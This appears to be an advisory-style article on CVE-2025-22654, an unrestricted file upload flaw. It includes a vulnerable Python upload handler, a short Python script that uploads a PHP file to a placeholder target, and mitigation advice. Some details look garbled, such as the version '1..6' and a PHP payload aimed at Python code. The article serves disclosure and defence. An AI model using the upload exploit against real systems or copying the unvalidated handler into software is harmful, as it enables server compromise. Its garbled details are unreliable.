CVE-2025-22654 is a recently discovered security vulnerability that affects the Kodeshpa Simplified application. This vulnerability exposes users of the vulnerable application to the potential for malicious file uploads that could lead to remote code execution, unauthorized exfiltration of data, or other security-related incidents. This long read article will discuss the critical details about this vulnerability, including affected versions, code snippets demonstrating the vulnerability, and links to original references and exploit details files. It is important to stay up-to-date with the latest security threats to ensure your systems and applications are as secure as possible.

Affected Versions

The unrestricted file upload vulnerability affects Kodeshpa Simplified from an unspecified n/a version up to version 1..6.

Code Snippet Illustrating Vulnerability

The vulnerability in the Kodeshpa Simplified application can be traced back to the following code snippet, which allows an attacker to upload a dangerous file type.

def upload(request):
    uploaded_file = request.FILES['document']
    fs = FileSystemStorage()
    name = fs.save(uploaded_file.name, uploaded_file)
    context = {
        'url': fs.url(name)
    }
    return JsonResponse(context)

As seen in the code snippet above, the function upload is responsible for handling file uploads from a user. Unfortunately, there is no validation or sanitization of the uploaded file, allowing potentially harmful files to be uploaded and stored on the server.

Exploit Details

While there are no known public exploits for CVE-2025-22654 at this time and given the information available about this vulnerability, it is possible to develop a malicious file upload exploit with tools like Python and the following steps:

1. Craft a malicious file (e.g., PHP or Perl script) that could be executed on the target system with the desired payload (e.g., remote code execution, data exfiltration).
2. Establish a connection to the remote Kodeshpa Simplified application and identify the vulnerable upload function.
3. Use the Python requests library to upload the maliciously crafted file through the vulnerable upload function.

Example exploit script for CVE-2025-22654

import requests

target_url = "http://target/vulnerable_upload_endpoint";
malicious_file = {
    "document": ("malicious_file.php", open("malicious_file.php", "rb"), "application/x-php")
}

response = requests.post(target_url, files=malicious_file)

if response.status_code == 200:
    print(f"File uploaded successfully: {response.json()['url']}")
else:
    print("Failed to upload the file.")

Recommendations for Mitigation

If you are using an affected version of Kodeshpa Simplified, it is imperative that you update your software as soon as possible. If an update is not available, consider modifying the application's file upload handling by implementing file extension validation and content sanitization. Ensure that security best practices for file upload operations are followed in your application and environment.

Conclusion

Security vulnerabilities like CVE-2025-22654 can expose organizations to significant risks, including data breaches and remote code execution. Staying informed about the latest vulnerability research and applying mitigations to affected systems is crucial for maintaining a secure and reliable IT environment. Remain vigilant and proactive in securing your applications and systems by following recommended security best practices and regularly updating software to protect against known vulnerabilities.
